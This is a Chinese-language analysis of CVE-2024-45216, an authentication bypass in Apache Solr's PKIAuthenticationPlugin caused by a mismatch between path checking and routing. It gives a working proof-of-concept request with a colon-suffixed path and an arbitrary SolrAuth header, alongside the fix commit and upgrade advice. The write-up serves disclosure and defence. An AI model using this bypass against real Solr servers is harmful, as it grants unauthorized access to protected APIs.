Apache Solr 最新认证绕过漏洞CVE-2024-45216分析
字数 1404 2025-08-23 18:31:34
Apache Solr 认证绕过漏洞CVE-2024-45216分析报告
漏洞概述
CVE-2024-45216是Apache Solr中存在的一个认证绕过漏洞,影响使用PKIAuthenticationPlugin进行身份验证的Solr实例。攻击者可以通过构造特殊格式的URL路径绕过身份验证检查,从而在未认证的情况下访问受保护的API。
影响版本
- 5.3.0 <= Apache Solr < 8.11.4
- 9.0.0 <= Apache Solr < 9.7.0
漏洞原理
核心问题
漏洞存在于PKIAuthenticationPlugin的身份验证逻辑中,具体表现为:
-
路径验证不严谨:
PKIAuthenticationPlugin.doAuthenticate()方法使用requestURI.endsWith(PublicKeyHandler.PATH)来检查请求路径是否为公开路径(/admin/info/key) -
路径处理不一致:Solr的路由处理会截取URL中冒号(
:)前面的部分作为实际路径,但认证检查时使用的是完整URL
详细分析
-
认证流程:
- 请求首先经过
SolrDispatchFilter.doFilter() - 调用
authenticateRequest()进行身份验证 - 如果使用PKIAuthenticationPlugin,会检查请求头
SolrAuth或SolrAuthV2 - 对于路径检查,仅简单判断是否以
/admin/info/key结尾
- 请求首先经过
-
路由处理:
- 在
HttpSolrCall.init()中,会处理URL路径:int idx = path.indexOf(':'); if (idx > 0) { path = path.substring(0, idx); } - 这意味着类似
/solr/admin/info/system:/admin/info/key的路径会被截取为/solr/admin/info/system
- 在
-
不一致性:
- 认证阶段:检查完整URL是否以
/admin/info/key结尾 → 通过检查 - 路由阶段:使用截取后的路径
/solr/admin/info/system→ 实际处理的是受保护API
- 认证阶段:检查完整URL是否以
环境搭建
- 搭建受影响版本的Solr环境
- 配置身份验证,启用PKIAuthenticationPlugin
- 调试配置:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
漏洞复现
POC
GET /solr/admin/info/system:/admin/info/key HTTP/1.1
Host: 192.168.177.146:8983
SolrAuth: test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
复现步骤
- 构造包含冒号的URL路径,前半部分为实际要访问的受保护API,后半部分为
/admin/info/key - 添加任意值的
SolrAuth或SolrAuthV2请求头 - 发送请求,观察是否绕过认证访问到受保护API
漏洞修复
官方修复方案:
- 修改路径检查逻辑,不再仅检查结尾
- 确保认证检查和路由处理的路径一致性
修复commit:
https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38
安全建议
-
升级到安全版本:
- 升级至Apache Solr 8.11.4或更高版本
- 或升级至Apache Solr 9.7.0或更高版本
-
临时缓解措施:
- 禁用PKIAuthenticationPlugin
- 配置严格的访问控制规则
总结
CVE-2024-45216漏洞利用Solr在路径处理和认证检查时的不一致性,通过构造特殊格式的URL绕过身份验证。该漏洞影响范围广,利用简单,建议用户尽快升级到安全版本。